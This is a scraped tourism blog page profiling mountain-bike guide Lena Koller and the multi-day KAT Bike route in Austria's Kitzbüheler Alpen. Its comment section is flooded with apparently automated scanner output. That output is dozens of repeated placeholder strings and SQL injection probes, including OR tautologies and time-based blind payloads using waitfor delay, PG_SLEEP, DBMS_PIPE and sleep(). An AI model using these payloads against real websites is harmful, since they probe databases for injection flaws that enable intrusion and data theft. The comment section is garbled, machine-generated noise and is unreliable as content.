menu

de nl

filter by topics

Sort by

filter by period

spring
summer
autumn
winter
2016
2017
2018

A bike - a feeling of freedom

Rather than striving to maintain constants in life, Lena Koller is attracted to adventure. However, one constant does exist for her – the mountains. They are Lena’s home. Here she explores their routes in every conceivable way: horizontally, on foot and of course on her mountain bike - her reliable companion since childhood.

Kitzbüheler Alpen Hero Bike Lena Koller schultert ihr Mountainbike im Hintergrund ein Speichersee am Pengelstein c Daniel Gollner© Daniel Gollner Fotografie

Lena shoulders her bike along a hiking trail to a beautiful vantage point in the Brixental valley

The Kitzbüheler Alpen are Lena‘s outdoor paradise. “Sometimes gentle, sometimes rough, sometimes exciting – a bit of everything.” Their routes and trails are equally diversified and can be explored by many different means. However, on a mountain bike adventures are really fun. But Lena’s father saw this a long time ago: “Even as a child we went on extensive bike tours. No route was too long, no summit out-of-reach.” At nine years of age she stood at the summit of the Grossvenediger after which many tours followed. Lena still appreciates these values and wants to pass these on to her guests as a qualified mountain bike guide. “It is an emotional moment to part from participants after a very intensive day and to see the pride on their faces for their achievements that day. Some are even surprised at themselves and their enthusiasm is evident. Such experiences make me feel humble and it is clear to me how beautiful life is here."

Kitzbüheler Alpen Hero Bike Lena Koller auf einer Forststraße zum Pengelstein am KAT Bike c Daniel Gollner
Lena, the mountain bike hero from the Brixental valley, cycles uphil in the direction of the Pengelstein.
© Daniel Gollner Fotografie
Kitzbüheler Alpen Hero Bike Lena Koller genießt die Aussicht c Daniel Gollner
Lena takes a short break on a forest road to enjoy the view.
© Daniel Gollner Fotografie
Kitzbüheler Alpen Hero Bike Lena Koller unterwegs am KAT Bike im Brixental c Daniel Gollner
The mountain bike hero from the Brixental valley enroute along a stage of the KAT Bike.
© Daniel Gollner Fotografie

My Home – the mountains

Kitzbüheler-Alpen-Hero-Bike-Lena-Koller-macht-eine-Pause-und-genießt-den-Ausblick-c-Daniel-Gollner© Daniel Gollner Fotografie

Mountain biking is a combination of ambition and flow experiences. It keeps you fit while seeing nature from a different perspective and discovering new places of energy. With an unforgettable summit experience and easy-going downhill trail, a challenging climb and the hardships that come with it are easily forgotten. In fact, at the end of the day, Lena is filled with a feeling of happiness and euphoria which she can only find in the mountains. “Home isn’t a place, home is a feeling and I feel at home in the mountains.” Mountains are the constant in the life of the marketing graduate. “On one hand they radiate security and provide a place where I can find myself. On the other hand they will always be somewhat mysterious and unfathomable, characteristics for which I have enormous respect.”

Ever crossed the Alps on a mountain bike?

The KAT Bike, a bike trail divided over three or four day-long stages with up to 170 kilometres and over 6,000 metres of elevation, takes you across the mystical mountains, the Kitzbüheler Alpen. Just as the KAT Walk is for long-distance hikers, the KAT Bike is for mountain bikers. Everyday between 45 and 55 kilometres, and a maximum of 2,000 metres of elevation await the cyclists. If you like you can carry your luggage in a backpack or alternatively, if you would rather do without these extra kilos, you should avail of the ingenious luggage transport service – after all, the KAT Bike Trail can be booked as a package. “Therefore your mind is not occupied with having to look for accommodation on arrival but fully devoted to the route, mountains and emotional and physical demands required.” Lena is also aware, “the continuous availability of new technologies is both a blessing and a curse. In addition to all the advantages they bring with them, we should be able to treat ourselves to offline periods.” Based on the slogan, “Keep yourself so busy that you forget to check your phone.” Time on earth is so precious and we should make the most of it doing what we like to do most. “I don’t have to bike five trails per day, constantly striving for higher, further, faster achievements. It’s more about the experience itself, who you are when you’re on the go and how these moments influence you. It’s not primarily about the fame and glory of a summit or stage victory. It’s about much more – that I develop myself further and experience moments in which I can really be who I am.”




Kitzbüheler Alpen Hero Bike Lena Koller bereitet sich auf ihre Mountainbike Tour vor c Daniel Gollner
Lena Koller prepares for her mountain bike tour in the Brixental valley.
© Daniel Gollner Fotografie
Kitzbüheler Alpen Hero Bike Lena Koller unterwegs am Singletrail in Kirchberg in Tirol c Daniel Gollner
Lena Koller, the bike hero from the Brixental valley on the Fleckalm trail in Kirchberg in Tyrol.
© Daniel Gollner Fotografie
Kitzbüheler Alpen Hero Bike Lena Koller erreicht den Pengelstein Gipfel c Daniel Gollner
Lena Koller, the bike hero from the Brixental valley reaches the summit of the Pengelstein.
© Daniel Gollner Fotografie
Kitzbüheler Alpen Hero Bike Lena Koller schultert ihr Mountainbike zum Gipfel im Brixental c Daniel Gollner
Meadows flowers line Lena's route to the summit in the Brixental valley.
© Daniel Gollner Fotografie
Kitzbüheler Alpen Hero Bike Lena Koller springt mit ihrem Mountainbike über Drop im Brixental c Daniel Gollner
In the Bikeacademy's Skill Park at the Fleckalmbahn gondola station, mountain bikers can improve their abilities at the Drop Battery.
© Daniel Gollner Fotografie

Be it on a bike or a rope, on foot or on touring skis in Winter – Lena tests her limits her way – “This is how I experience life best. It’s just cool to discover your own home from a new perspective. I really appreciate that I can live here and integrate mountain sport into my everyday life. I don’t need any more, this is how I want to live.”

#KitzbühelerAlpen | #KATBikeTirol | #LebenswegeTirol

Blog entry from Lena:

Fit for the hiking season!

Fit for the hiking season!
Fit for the hiking season!

Prepare yourself for your hiking Summer in the Kitzbüheler Alps. We have compiled the best 8 exercises for you. more

More helpful information

Sabine Ertl

Sabine Ertl

...nurture body and soul. Born 1986 in Carinthia, studied media and communication sciences in Klagenfurt. As a freelance journalist, copywriter and blogger she likes to travel a lot. Mountain freak, horse freak, neo-cellist and gourmet. More details: www.gedankenschmiede.at more details

all articles

We are looking forward to your comment

Your email address will not be published. *Mandatory fields

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

jVZYh5as lxbfYeaa

replies

20

-1 OR 2+723-723-1=0+0+0+1 -- lxbfYeaa

replies

20

-1 OR 2+402-402-1=0+0+0+1 lxbfYeaa

replies

20

-1' OR 2+300-300-1=0+0+0+1 -- lxbfYeaa

replies

20

-1' OR 2+648-648-1=0+0+0+1 or 'YAotekH9'=' lxbfYeaa

replies

20

-1" OR 2+637-637-1=0+0+0+1 -- lxbfYeaa

replies

20

1 waitfor delay '0:0:15' -- lxbfYeaa

replies

20

z0jvOmb7'; waitfor delay '0:0:15' -- lxbfYeaa

replies

20

T61AsJhH'); waitfor delay '0:0:15' -- lxbfYeaa

replies

20

i8jKk3L0')); waitfor delay '0:0:15' -- lxbfYeaa

replies

20

EuUBU2uy' OR 837=(SELECT 837 FROM PG_SLEEP(15))-- lxbfYeaa

replies

20

QwXRHXva') OR 694=(SELECT 694 FROM PG_SLEEP(15))-- lxbfYeaa

replies

20

AgXRgbmR')) OR 224=(SELECT 224 FROM PG_SLEEP(15))-- lxbfYeaa

replies

20

lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' lxbfYeaa

replies

20

if(now()=sysdate(),sleep(15),0) lxbfYeaa

replies

20

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z lxbfYeaa

replies

20

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z lxbfYeaa

replies

20

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ lxbfYeaa

replies

20

(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ lxbfYeaa

replies

20

1'" lxbfYeaa

replies

20

1����%2527%2522 lxbfYeaa

replies

20

@@fhQd6 lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa 1su5dSai

replies

20

lxbfYeaa -1 OR 2+899-899-1=0+0+0+1 --

replies

20

lxbfYeaa -1 OR 2+920-920-1=0+0+0+1

replies

20

lxbfYeaa -1' OR 2+303-303-1=0+0+0+1 --

replies

20

lxbfYeaa -1' OR 2+318-318-1=0+0+0+1 or 'A2I8cM4l'='

replies

20

lxbfYeaa -1" OR 2+13-13-1=0+0+0+1 --

replies

20

lxbfYeaa 1 waitfor delay '0:0:15' --

replies

20

lxbfYeaa lS76Jqh2'; waitfor delay '0:0:15' --

replies

20

lxbfYeaa xOZQjfT5'); waitfor delay '0:0:15' --

replies

20

lxbfYeaa LfF9SGNH')); waitfor delay '0:0:15' --

replies

20

lxbfYeaa hdSWttzb' OR 224=(SELECT 224 FROM PG_SLEEP(15))--

replies

20

lxbfYeaa 2PRcSYGA') OR 472=(SELECT 472 FROM PG_SLEEP(15))--

replies

20

lxbfYeaa F240TzoT')) OR 876=(SELECT 876 FROM PG_SLEEP(15))--

replies

20

lxbfYeaa lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

replies

20

lxbfYeaa if(now()=sysdate(),sleep(15),0)

replies

20

lxbfYeaa 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

replies

20

lxbfYeaa 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

replies

20

lxbfYeaa (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

replies

20

lxbfYeaa 1'"

replies

20

lxbfYeaa 1����%2527%2522

replies

20

lxbfYeaa @@8ZZV8

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

NRxxfC6e

lxbfYeaa lxbfYeaa

replies

-1 OR 2+593-593-1=0+0+0+1 --

lxbfYeaa lxbfYeaa

replies

-1 OR 2+116-116-1=0+0+0+1

lxbfYeaa lxbfYeaa

replies

-1' OR 2+283-283-1=0+0+0+1 --

lxbfYeaa lxbfYeaa

replies

-1' OR 2+206-206-1=0+0+0+1 or '2A9GJTSI'='

lxbfYeaa lxbfYeaa

replies

-1" OR 2+542-542-1=0+0+0+1 --

lxbfYeaa lxbfYeaa

replies

-1; waitfor delay '0:0:15' --

lxbfYeaa lxbfYeaa

replies

-1); waitfor delay '0:0:15' --

lxbfYeaa lxbfYeaa

replies

-1)); waitfor delay '0:0:15' --

lxbfYeaa lxbfYeaa

replies

1 waitfor delay '0:0:15' --

lxbfYeaa lxbfYeaa

replies

TE1Bcww8'; waitfor delay '0:0:15' --

lxbfYeaa lxbfYeaa

replies

G2DBjWBz'); waitfor delay '0:0:15' --

lxbfYeaa lxbfYeaa

replies

R2gDb9HE')); waitfor delay '0:0:15' --

lxbfYeaa lxbfYeaa

replies

-5 OR 878=(SELECT 878 FROM PG_SLEEP(15))--

lxbfYeaa lxbfYeaa

replies

-5) OR 713=(SELECT 713 FROM PG_SLEEP(15))--

lxbfYeaa lxbfYeaa

replies

-1)) OR 257=(SELECT 257 FROM PG_SLEEP(15))--

lxbfYeaa lxbfYeaa

replies

ph8sHFYP' OR 734=(SELECT 734 FROM PG_SLEEP(15))--

lxbfYeaa lxbfYeaa

replies

5pWP0l7r') OR 994=(SELECT 994 FROM PG_SLEEP(15))--

lxbfYeaa lxbfYeaa

replies

5BD0u0ty')) OR 475=(SELECT 475 FROM PG_SLEEP(15))--

lxbfYeaa lxbfYeaa

replies

20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

lxbfYeaa lxbfYeaa

replies

20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

lxbfYeaa lxbfYeaa

replies

if(now()=sysdate(),sleep(15),0)

lxbfYeaa lxbfYeaa

replies

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

lxbfYeaa lxbfYeaa

replies

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

lxbfYeaa lxbfYeaa

replies

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

lxbfYeaa lxbfYeaa

replies

1'"

lxbfYeaa lxbfYeaa

replies

1����%2527%2522

lxbfYeaa lxbfYeaa

replies

@@8OFdx

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

lxbfYeaa lxbfYeaa

replies

20

Share it with your friends

Find more stories on the following topics

    Share

    You might also be interested in these articles

    Don't want to miss any new stories?

    If you don't want to miss any more stories, sign up here for the newsletter form of bärig.tirol.